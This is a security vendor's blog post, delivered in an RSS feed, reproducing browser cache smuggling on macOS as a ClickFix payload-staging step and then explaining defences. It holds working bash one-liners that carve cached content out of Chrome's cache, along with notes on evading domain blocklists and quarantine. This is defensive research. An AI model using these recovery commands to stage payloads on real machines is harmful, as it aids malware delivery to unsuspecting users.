<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Phorion | macOS Endpoint Detection and Response (EDR) Blog</title><link>https://phorion.io/blog/</link><description>Phorion offers top-tier macOS EDR with unrivaled visibility. Learn how our EDR platform defends your enterprise with cutting-edge detection and response capabilities.</description><language>en-us</language><lastBuildDate>Tue, 03 Nov 2026 09:54:19 +0000</lastBuildDate><atom:link href="https://phorion.io/blog/index.xml" rel="self" type="application/rss+xml"/><item><title>Browser Cache Smuggling on macOS: Reproducing and Defending the Technique</title><link>https://phorion.io/blog/browser-cache-smuggling-macos/</link><guid isPermaLink="true">https://phorion.io/blog/browser-cache-smuggling-macos/</guid><pubDate>Tue, 03 Nov 2026 09:00:00 +0000</pubDate><description>Browser cache smuggling lets a website stage payloads on macOS for a ClickFix command to recover without another download. We examine Chrome, Firefox and Safari cache access, explain the limits of native macOS protections, and show how defenders can prevent recovery.</description><content:encoded><![CDATA[<section class="post-tldr" aria-label="TL;DR">
  <h2 class="post-tldr__title">TL;DR</h2>
  <div class="post-tldr__body">
    Browser cache smuggling is also viable on macOS: a website can stage controlled bytes in the browser&rsquo;s disk cache for a separate local command to recover without its own network request. Chrome and Firefox expose ordinary cache files to same-user processes; Safari adds an app-container access boundary. <br/>
Restricting cache access to trusted browser processes and explicit exceptions stops unauthorized recovery. Clipboard controls can interrupt the ClickFix handoff, while monitoring non-browser cache reads provides additional coverage.
  </div>
</section>

<p>In 2023, Aurélien Chalot published <a href="https://sensepost.com/blog/2023/browsers-cache-smuggling/">Browsers&rsquo; cache smuggling</a>, demonstrating how a browser cache could be used to deliver a DLL on Windows. Accessing a website caused the browser to cache attacker-controlled content, which a socially-engineered PowerShell command subsequently located and recovered.</p>
<p><a href="https://sensepost.com/blog/2025/browser-cache-smuggling-the-return-of-the-dropper/">A 2025 follow-up</a> returned to the technique and expanded on defensive guidance, including restricting scripting engines, clearing browser caches on exit, and monitoring non-browser access to cache files.</p>
<p>The technique itself is not a browser vulnerability. Browsers are <em>supposed</em> to persist cacheable content locally, reducing repeat downloads and improving the user experience. The interesting boundary appears later: can another process running as the user enumerate those files, identify controlled content, and turn it back into a standalone file?</p>
<p>On macOS, the answer depends on the browser and the recovering process&rsquo;s access. ClickFix supplies the social-engineering step: convincing the user to run a command that retrieves the staged content.</p>
<h2 id="from-web-response-to-local-file">From web response to local file</h2>
<p>Browser cache smuggling solves the staging problem, not execution. The browser fetches and stores attacker-controlled bytes as ordinary cached content. Entries use hashed names and browser-specific layouts, and caching the bytes does not execute them.</p>
<p>A ClickFix command (or similar local action) is still needed to locate the cached object or known marker, parse or carve the response body, and pass the recovered content to whatever execution mechanism follows.</p>
<div class="breakout breakout--wide">
<figure class="cache-smuggling-flow">
  <section class="cache-smuggling-flow__section" aria-labelledby="cache-flow-staging">
    <div id="cache-flow-staging" class="cache-smuggling-flow__heading">Browser staging</div>
    <ol class="cache-smuggling-flow__steps">
      <li class="cache-smuggling-flow__step cache-smuggling-flow__step--danger">
        <span class="cache-smuggling-flow__index">01 / host</span>
        <strong>Attacker hosts website</strong>
        <span>Serves a cacheable response containing a known marker</span>
      </li>
      <li class="cache-smuggling-flow__step cache-smuggling-flow__step--blue">
        <span class="cache-smuggling-flow__index">02 / visit</span>
        <strong>Browser visits website</strong>
        <span>Makes a normal HTTPS request to the page</span>
      </li>
      <li class="cache-smuggling-flow__step cache-smuggling-flow__step--blue">
        <span class="cache-smuggling-flow__index">03 / cache</span>
        <strong>Response is cached</strong>
        <span>Stored under a hashed name with browser metadata</span>
      </li>
    </ol>
  </section>
  <div class="cache-smuggling-flow__handoff" aria-hidden="true"></div>
  <section class="cache-smuggling-flow__section" aria-labelledby="cache-flow-recovery">
    <div id="cache-flow-recovery" class="cache-smuggling-flow__heading">Local recovery</div>
    <ol class="cache-smuggling-flow__steps">
      <li class="cache-smuggling-flow__step cache-smuggling-flow__step--danger">
        <span class="cache-smuggling-flow__index">04 / execute</span>
        <strong>Execute ClickFix command</strong>
        <span>The user runs pasted shell content</span>
      </li>
      <li class="cache-smuggling-flow__step cache-smuggling-flow__step--blue">
        <span class="cache-smuggling-flow__index">05 / locate</span>
        <strong>Find the known marker</strong>
        <span>The command enumerates cache objects</span>
      </li>
      <li class="cache-smuggling-flow__step cache-smuggling-flow__step--danger">
        <span class="cache-smuggling-flow__index">06 / recover</span>
        <strong>Recover staged content</strong>
        <span>Recovered bytes are written to disk or interpreted directly</span>
      </li>
    </ol>
  </section>
</figure>
</div>
<p>While only one part of the overall attack chain, the technique offers some offensive advantages:</p>
<ul>
<li><strong>Browser-native delivery:</strong> The browser makes the network request, rather than <code>curl</code> or another obvious downloader.</li>
<li><strong>No payload URL in the command:</strong> The pasted command does not need to contain a payload URL, which could be <a href="https://phorion.io/blog/clipboard-protection/#:~:text=The%20second%20layer,in%20Apple%E2%80%99s%20blocklist.">blocked by XProtect</a>.</li>
<li><strong>Payload obfuscation:</strong> Hashed cache filenames remove the original filename and extension. File signatures can remain visible, but an attacker can separately encode the payload for the recovery command to decode.</li>
<li><strong>A less direct detection chain:</strong> The browser writes to its cache rather than <code>Downloads</code>, separating the network request from the process that later recovers and executes the content.</li>
</ul>
<p>Of course, this doesn&rsquo;t make the technique invisible. It just changes where defenders need to look.</p>
<h2 id="browser-caches-on-macos">Browser caches on macOS</h2>
<p>The ordinary HTTP disk caches used for browsing content are separate from browser profile databases and credential stores:</p>
<div class="breakout breakout--wide">
<table>
	<thead>
			<tr>
					<th style="text-align: left">Browser</th>
					<th style="text-align: left">HTTP disk cache</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left">Google Chrome</td>
					<td style="text-align: left"><code>~/Library/Caches/Google/Chrome/&lt;profile&gt;/Cache/Cache_Data</code></td>
			</tr>
			<tr>
					<td style="text-align: left">Microsoft Edge</td>
					<td style="text-align: left"><code>~/Library/Caches/Microsoft Edge/&lt;profile&gt;/Cache/Cache_Data</code></td>
			</tr>
			<tr>
					<td style="text-align: left">Brave</td>
					<td style="text-align: left"><code>~/Library/Caches/BraveSoftware/Brave-Browser/&lt;profile&gt;/Cache/Cache_Data</code></td>
			</tr>
			<tr>
					<td style="text-align: left">Chromium</td>
					<td style="text-align: left"><code>~/Library/Caches/Chromium/&lt;profile&gt;/Cache/Cache_Data</code></td>
			</tr>
			<tr>
					<td style="text-align: left">Firefox</td>
					<td style="text-align: left"><code>~/Library/Caches/Firefox/Profiles/&lt;profile&gt;/cache2/entries</code></td>
			</tr>
			<tr>
					<td style="text-align: left">Safari</td>
					<td style="text-align: left"><code>~/Library/Containers/com.apple.Safari/Data/Library/Caches/com.apple.Safari/WebKitCache</code></td>
			</tr>
	</tbody>
</table>
</div>
<blockquote>
<p>Paths can change across browser versions and profiles. Chromium browsers also maintain separate code caches and Service Worker storage, but the ordinary HTTP cache is the relevant location for the technique tested here.</p>
</blockquote>
<p>The on-disk representation differs between browser engines. Chromium browsers use the Simple Cache backend, storing hashed entry files that combine the cache key, response body and HTTP metadata. Firefox also uses hashed files, with each unencrypted <code>cache2</code> entry containing response data followed by metadata, as described in Mozilla&rsquo;s <a href="https://firefox-source-docs.mozilla.org/networking/cache2/doc.html#on-disk-entry-format">HTTP Cache source documentation</a>. Mozilla also documents optional disk-cache encryption (neat!), which is <a href="https://github.com/mozilla-firefox/firefox/blob/main/modules/libpref/init/StaticPrefList.yaml">disabled by default in the current source</a>. Encrypted entries cannot be recovered by simply carving plaintext bytes.</p>
<p>Safari&rsquo;s WebKit cache separates versioned records and larger response blobs, uses salted hashes and integrity validation, and stores the cache inside Safari&rsquo;s app container.</p>
<p>Hashed names and cache metadata are not encryption and do not reliably hide file signatures. In unencrypted Firefox entries, response data begins at offset zero. WebKit stores small bodies inline after cache metadata, while larger bodies are written byte-for-byte as separate blobs, as shown in its <a href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/NetworkProcess/cache/NetworkCacheStorage.cpp">cache storage implementation</a>. Those blobs retain the response&rsquo;s file signature.</p>
<p>We validated Safari&rsquo;s location with a controlled request on Safari 27.2. A cacheable PNG containing a unique marker was written byte-for-byte to:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>~/Library/Containers/com.apple.Safari/Data/Library/Caches/com.apple.Safari/
</span></span><span style="display:flex;"><span>  WebKitCache/Version 17/Records/&lt;partition&gt;/Resource/&lt;hash&gt;-blob
</span></span><span style="display:flex;"><span>  WebKitCache/Version 17/Blobs/&lt;hash&gt;
</span></span></code></pre></div><br/>
<p>Safari&rsquo;s protected app container blocks Terminal from enumerating or reading this cache by default. Granting Terminal Full Disk Access (FDA) permits recovery. This is a boundary around Safari&rsquo;s cache, not a platform-wide mitigation: ordinary Chrome and Firefox cache paths do not require FDA for same-user access.</p>
<h2 id="reproducing-the-technique">Reproducing the technique</h2>
<h3 id="recovering-a-chromium-response-body">Recovering a Chromium response body</h3>
<p>Chromium&rsquo;s Simple Cache format is documented in <a href="https://chromium.googlesource.com/chromium/src/+/main/net/disk_cache/simple/simple_entry_format.h"><code>simple_entry_format.h</code></a>. A normal <code>_0</code> entry is arranged as:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>SimpleFileHeader
</span></span><span style="display:flex;"><span>cache key
</span></span><span style="display:flex;"><span>stream 1 response body
</span></span><span style="display:flex;"><span>stream 1 footer
</span></span><span style="display:flex;"><span>stream 0 HTTP metadata
</span></span><span style="display:flex;"><span>optional SHA-256 of the cache key
</span></span><span style="display:flex;"><span>final footer
</span></span></code></pre></div><p>This makes the response body recoverable without a browser API. The extraction command reads the key length from the 24-byte header, then works backward from the final 24-byte footer. That footer supplies the stream 0 metadata size and indicates whether a 32-byte key hash is present. Stepping over those fields and the preceding stream 1 footer reveals the exact start and length of the original response body.</p>
<p>The entry filename itself is derived from the cache key (you&rsquo;ll see filenames like <code>82cafd9ad3c026a7_0</code>). On macOS, these files are restricted to the owning user, but those permissions do not distinguish Chrome from another unsandboxed process running as that same user.</p>
<h3 id="try-it-against-this-post">Try it against this post</h3>
<p>The image below is a benign demonstration of browser cache smuggling. It&rsquo;s a valid PNG containing the benign string below between two <code>AABBCCDDEEFF</code> markers in a PNG metadata chunk:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Phorion browser cache smuggling demo recovered successfully.
</span></span></code></pre></div><div class="breakout breakout--wide">
<figure class="cache-smuggling-demo">
  <img src="cache-smuggling-demo.png" alt="Safe browser cache smuggling demonstration image containing a benign marker-delimited payload in PNG metadata.">
</figure>
</div>
<p>After loading this page in a normal Chrome window with the default profile and disk caching enabled, the following one-liner finds the image&rsquo;s cache entry, parses Chromium&rsquo;s Simple Cache boundaries, and writes the complete PNG response body to a file under <code>/tmp</code>. It checks the cache key, rather than accepting a filename mentioned in another response.</p>
<figure class="copy-code breakout breakout--wide" data-copy-code>
  <div class="copy-code__header">
    <span class="copy-code__label">Extract the complete cached image</span>
    <button class="copy-code__button" type="button" data-copy-code-button aria-label="Copy Extract the complete cached image">
      <svg aria-hidden="true" viewBox="0 0 24 24">
        <path d="M8 8h11v11H8z"></path>
        <path d="M5 16H4V5h11v1"></path>
      </svg>
      <span data-copy-code-label>Copy</span>
    </button>
  </div>
  <div class="copy-code__body"><div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#268bd2">d</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$HOME</span><span style="color:#2aa198">/Library/Caches/Google/Chrome/Default/Cache/Cache_Data&#34;</span>; <span style="color:#268bd2">n</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#39;cache-smuggling-demo.png&#39;</span>; u32<span style="color:#719e07">(){</span> od -An -tu4 -N4 -j<span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$2</span><span style="color:#2aa198">&#34;</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$1</span><span style="color:#2aa198">&#34;</span> | tr -d <span style="color:#2aa198">&#39; &#39;</span>; <span style="color:#719e07">}</span>; <span style="color:#268bd2">f</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>find <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$d</span><span style="color:#2aa198">&#34;</span> -maxdepth <span style="color:#2aa198">1</span> -type f -name <span style="color:#2aa198">&#39;*_0&#39;</span> -exec grep -aFl <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$n</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">{}</span> + | <span style="color:#719e07">while</span> <span style="color:#268bd2">IFS</span><span style="color:#719e07">=</span> <span style="color:#b58900">read</span> -r x; <span style="color:#719e07">do</span> <span style="color:#268bd2">kl</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>u32 <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$x</span><span style="color:#2aa198">&#34;</span> 12<span style="color:#719e07">)</span>; <span style="color:#719e07">[</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$kl</span><span style="color:#2aa198">&#34;</span> -gt <span style="color:#2aa198">0</span> <span style="color:#719e07">]</span> <span style="color:#719e07">&amp;&amp;</span> <span style="color:#719e07">[</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$kl</span><span style="color:#2aa198">&#34;</span> -le <span style="color:#2aa198">65536</span> <span style="color:#719e07">]</span> <span style="color:#719e07">||</span> <span style="color:#719e07">continue</span>; dd <span style="color:#719e07">if</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$x</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">bs</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span> <span style="color:#268bd2">skip</span><span style="color:#719e07">=</span><span style="color:#2aa198">24</span> <span style="color:#268bd2">count</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$kl</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">status</span><span style="color:#719e07">=</span>none | grep -Fq <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$n</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">&amp;&amp;</span> <span style="color:#719e07">{</span> <span style="color:#b58900">printf</span> <span style="color:#2aa198">&#39;%s\n&#39;</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$x</span><span style="color:#2aa198">&#34;</span>; break; <span style="color:#719e07">}</span>; <span style="color:#719e07">done)</span>; <span style="color:#719e07">[</span> -n <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">]</span> <span style="color:#719e07">||</span> <span style="color:#719e07">{</span> <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#39;cache entry not found&#39;</span> &gt;&amp;2; <span style="color:#b58900">exit</span> 1; <span style="color:#719e07">}</span>; <span style="color:#268bd2">sz</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>stat -f%z <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span><span style="color:#719e07">)</span>; <span style="color:#268bd2">kl</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>u32 <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span> 12<span style="color:#719e07">)</span>; <span style="color:#268bd2">fo</span><span style="color:#719e07">=</span><span style="color:#719e07">$((</span>sz-24<span style="color:#719e07">))</span>; <span style="color:#268bd2">flags</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>u32 <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">$((</span>fo+8<span style="color:#719e07">)))</span>; <span style="color:#268bd2">s0</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>u32 <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">$((</span>fo+16<span style="color:#719e07">)))</span>; <span style="color:#268bd2">sha</span><span style="color:#719e07">=</span><span style="color:#719e07">$((</span>flags<span style="color:#719e07">&amp;</span><span style="color:#2aa198">2</span>?32:0<span style="color:#719e07">))</span>; <span style="color:#268bd2">end</span><span style="color:#719e07">=</span><span style="color:#719e07">$((</span>fo-sha-s0-24<span style="color:#719e07">))</span>; <span style="color:#268bd2">start</span><span style="color:#719e07">=</span><span style="color:#719e07">$((</span><span style="color:#2aa198">24</span><span style="color:#719e07">+</span>kl<span style="color:#719e07">))</span>; <span style="color:#268bd2">count</span><span style="color:#719e07">=</span><span style="color:#719e07">$((</span>end-start<span style="color:#719e07">))</span>; <span style="color:#719e07">[</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$count</span><span style="color:#2aa198">&#34;</span> -gt <span style="color:#2aa198">0</span> <span style="color:#719e07">]</span> <span style="color:#719e07">&amp;&amp;</span> <span style="color:#719e07">[</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$count</span><span style="color:#2aa198">&#34;</span> -le <span style="color:#719e07">$((</span><span style="color:#2aa198">10</span><span style="color:#719e07">*</span><span style="color:#2aa198">1024</span><span style="color:#719e07">*</span><span style="color:#2aa198">1024</span><span style="color:#719e07">))</span> <span style="color:#719e07">]</span> <span style="color:#719e07">||</span> <span style="color:#719e07">{</span> <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#39;invalid body range&#39;</span> &gt;&amp;2; <span style="color:#b58900">exit</span> 1; <span style="color:#719e07">}</span>; <span style="color:#268bd2">out</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>mktemp /tmp/cache-smuggling-image.XXXXXX<span style="color:#719e07">)</span> <span style="color:#719e07">||</span> <span style="color:#b58900">exit</span> 1; dd <span style="color:#719e07">if</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">of</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$out</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">bs</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span> <span style="color:#268bd2">skip</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$start</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">count</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$count</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">status</span><span style="color:#719e07">=</span>none <span style="color:#719e07">&amp;&amp;</span> <span style="color:#b58900">printf</span> <span style="color:#2aa198">&#39;output=%s size=%d\n&#39;</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$out</span><span style="color:#2aa198">&#34;</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$count</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">&amp;&amp;</span> file <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$out</span><span style="color:#2aa198">&#34;</span></span></span></code></pre></div></div>
</figure>

<p>A known marker allows recovery of just the embedded content without parsing the cache format.</p>
<p>The one-liner below enumerates cache objects, locates two marker instances, and prints only the enclosed content (the marker is split in the command so caching this blog doesn&rsquo;t match itself!):</p>
<figure class="copy-code breakout breakout--wide" data-copy-code>
  <div class="copy-code__header">
    <span class="copy-code__label">Read the marker-delimited content</span>
    <button class="copy-code__button" type="button" data-copy-code-button aria-label="Copy Read the marker-delimited content">
      <svg aria-hidden="true" viewBox="0 0 24 24">
        <path d="M8 8h11v11H8z"></path>
        <path d="M5 16H4V5h11v1"></path>
      </svg>
      <span data-copy-code-label>Copy</span>
    </button>
  </div>
  <div class="copy-code__body"><div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#268bd2">d</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$HOME</span><span style="color:#2aa198">/Library/Caches/Google/Chrome/Default/Cache/Cache_Data&#34;</span>; <span style="color:#268bd2">m</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#39;AABB&#39;&#39;CCDDEEFF&#39;</span>; <span style="color:#268bd2">f</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>find <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$d</span><span style="color:#2aa198">&#34;</span> -maxdepth <span style="color:#2aa198">1</span> -type f -exec grep -aFl <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$m</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">{}</span> + | <span style="color:#719e07">while</span> <span style="color:#268bd2">IFS</span><span style="color:#719e07">=</span> <span style="color:#b58900">read</span> -r x; <span style="color:#719e07">do</span> <span style="color:#719e07">[</span> <span style="color:#2aa198">&#34;</span><span style="color:#719e07">$(</span><span style="color:#268bd2">LC_ALL</span><span style="color:#719e07">=</span>C grep -aobF <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$m</span><span style="color:#2aa198">&#34;</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$x</span><span style="color:#2aa198">&#34;</span> | sed -n <span style="color:#2aa198">&#39;2p&#39;</span><span style="color:#719e07">)</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">]</span> <span style="color:#719e07">&amp;&amp;</span> <span style="color:#719e07">{</span> <span style="color:#b58900">printf</span> <span style="color:#2aa198">&#39;%s\n&#39;</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$x</span><span style="color:#2aa198">&#34;</span>; break; <span style="color:#719e07">}</span>; <span style="color:#719e07">done)</span>; <span style="color:#719e07">[</span> -n <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">]</span> <span style="color:#719e07">||</span> <span style="color:#719e07">{</span> <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#39;marker pair not found&#39;</span> &gt;&amp;2; <span style="color:#b58900">exit</span> 1; <span style="color:#719e07">}</span>; <span style="color:#b58900">set</span> -- <span style="color:#719e07">$(</span><span style="color:#268bd2">LC_ALL</span><span style="color:#719e07">=</span>C grep -aobF <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$m</span><span style="color:#2aa198">&#34;</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span> | sed -n <span style="color:#2aa198">&#39;1,2{s/:.*//p;}&#39;</span><span style="color:#719e07">)</span>; <span style="color:#268bd2">start</span><span style="color:#719e07">=</span><span style="color:#719e07">$((</span><span style="color:#268bd2">$1</span><span style="color:#719e07">+</span><span style="color:#2aa198">${#</span><span style="color:#268bd2">m</span><span style="color:#2aa198">}</span><span style="color:#719e07">))</span>; <span style="color:#268bd2">count</span><span style="color:#719e07">=</span><span style="color:#719e07">$((</span><span style="color:#268bd2">$2</span><span style="color:#719e07">-</span>start<span style="color:#719e07">))</span>; <span style="color:#719e07">[</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$count</span><span style="color:#2aa198">&#34;</span> -ge <span style="color:#2aa198">0</span> <span style="color:#719e07">]</span> <span style="color:#719e07">&amp;&amp;</span> <span style="color:#719e07">[</span> <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$count</span><span style="color:#2aa198">&#34;</span> -le <span style="color:#2aa198">4096</span> <span style="color:#719e07">]</span> <span style="color:#719e07">||</span> <span style="color:#719e07">{</span> <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#39;invalid marker range&#39;</span> &gt;&amp;2; <span style="color:#b58900">exit</span> 1; <span style="color:#719e07">}</span>; dd <span style="color:#719e07">if</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$f</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">bs</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span> <span style="color:#268bd2">skip</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$start</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">count</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$count</span><span style="color:#2aa198">&#34;</span> <span style="color:#268bd2">status</span><span style="color:#719e07">=</span>none <span style="color:#719e07">&amp;&amp;</span> <span style="color:#b58900">printf</span> <span style="color:#2aa198">&#39;\n&#39;</span></span></span></code></pre></div></div>
</figure>

<h2 id="what-macos-prevents---and-what-it-doesnt">What macOS prevents - and what it doesn&rsquo;t</h2>
<p>Native controls act at different stages: permissions and Transparency, Consent and Control (TCC) govern access, while Gatekeeper and code-signing enforcement concern what happens after recovery.</p>
<div class="breakout breakout--wide">
<table>
	<thead>
			<tr>
					<th style="text-align: left">Control</th>
					<th style="text-align: left">What it helps with</th>
					<th style="text-align: left">What it does not prevent</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left"><strong>POSIX<br/>permissions</strong></td>
					<td style="text-align: left">Chrome&rsquo;s <code>0700</code> cache directory and <code>0600</code> files prevent access from other user accounts.</td>
					<td style="text-align: left">Another unsandboxed process running under the same user ID can still read the files.</td>
			</tr>
			<tr>
					<td style="text-align: left"><strong>TCC + Full<br/>Disk Access</strong></td>
					<td style="text-align: left">Limits access to protected privacy categories; removing unnecessary Terminal FDA reduces broader exposure.</td>
					<td style="text-align: left">It does not add a TCC gate to ordinary Chrome and Firefox caches. A non-sandboxed process running as the same user can generally read them without FDA.</td>
			</tr>
			<tr>
					<td style="text-align: left"><strong><a href="https://developer.apple.com/documentation/security/accessing-files-from-the-macos-app-sandbox">Safari app-container</a></strong></td>
					<td style="text-align: left">Adds an app identity and authorization boundary around Safari&rsquo;s container, blocking Terminal cache access by default.</td>
					<td style="text-align: left">Full Disk Access authorizes Terminal to read the cached responses. The boundary controls access; it does not encrypt the content.</td>
			</tr>
			<tr>
					<td style="text-align: left"><strong><a href="https://support.apple.com/guide/security/sec5599b66df/web">Quarantine + Gatekeeper</a></strong></td>
					<td style="text-align: left">Quarantine identifies downloaded content for Gatekeeper&rsquo;s trust checks when opened through an assessed launch path.</td>
					<td style="text-align: left">Writing cached bytes to a new file with <code>dd</code> does not copy <code>com.apple.quarantine</code>. Provenance alone is not an execution block, and Gatekeeper is not a universal script-control mechanism.</td>
			</tr>
			<tr>
					<td style="text-align: left"><strong>Code<br/>signing</strong></td>
					<td style="text-align: left">Enforces platform requirements for native executables, including code-signature validation where required.</td>
					<td style="text-align: left">Trusted interpreters can consume recovered scripts, and a valid signature does not mean code is benign.</td>
			</tr>
			<tr>
					<td style="text-align: left"><strong>Cache<br/>integrity<br/>checks</strong></td>
					<td style="text-align: left">Chromium CRCs, Firefox hashes and WebKit salted validation detect corruption when the browser reads an entry.</td>
					<td style="text-align: left">They do not prevent another process reading a valid entry and copying its response body elsewhere.</td>
			</tr>
	</tbody>
</table>
</div>
<p>In practice, Chrome and Safari cache objects in our reproductions carried <code>com.apple.quarantine</code>, but a new file carved with <code>dd</code> did not inherit it. A benign, ad-hoc-signed Mach-O recovered from Chrome&rsquo;s cache ran through direct Terminal execution after its execute permission was set, despite carrying <code>com.apple.provenance</code>. Of course, this doesn&rsquo;t guarantee that every recovered payload will run or evade other controls.</p>
<h2 id="preventing-cache-recovery">Preventing cache recovery</h2>
<p>A file-access protection can provide the process-level boundary that general filesystem permissions lack. It protects browser cache paths and checks the requesting process before allowing a file open. Trusted browser and helper processes retain access; shells, interpreters and unrelated applications are denied the reads needed to recover response content.</p>
<p>The allow rules should validate the complete process identity: a trusted code signature, the expected signing ID and, for third-party browsers, the expected Team ID. Legitimate security, management or support tooling can be added as explicit exclusions after observing normal access in audit mode.</p>
<p><a href="https://phorion.io/blog/phorion-protections/">Phorion Protections</a> provides this cache protection today for Chrome, Firefox, Safari, Edge, Brave, Arc and Opera.</p>
<h3 id="stop-the-clickfix">Stop the ClickFix</h3>
<p>Clipboard and process-execution controls complement cache restrictions by stopping the local recovery command.</p>
<p>In <a href="https://phorion.io/blog/clipboard-protection/#:~:text=Acknowledging%20the%20problem">macOS Tahoe 26.4</a>, Apple added a warning for browser-to-Terminal pastes under specific user-activity conditions, alongside checks for known-bad domains in pasted content. A cache-only recovery command need not contain a domain, so domain checks alone do not cover this technique.</p>
<p><a href="https://phorion.io/blog/clipboard-protection/">Phorion Clipboard Protection</a> supports auditing, user prompts and policy-driven blocking of browser-to-terminal pastes, without relying solely on domains in the command.</p>
<p>For appropriate user groups, <a href="https://phorion.io/blog/phorion-protections/">Phorion Protections</a> also allows for unsigned executables and script interpreters to be blocked completely.</p>
<h2 id="detection-opportunities">Detection opportunities</h2>
<p>Prevention should be the first choice, but cache access also provides useful telemetry.</p>
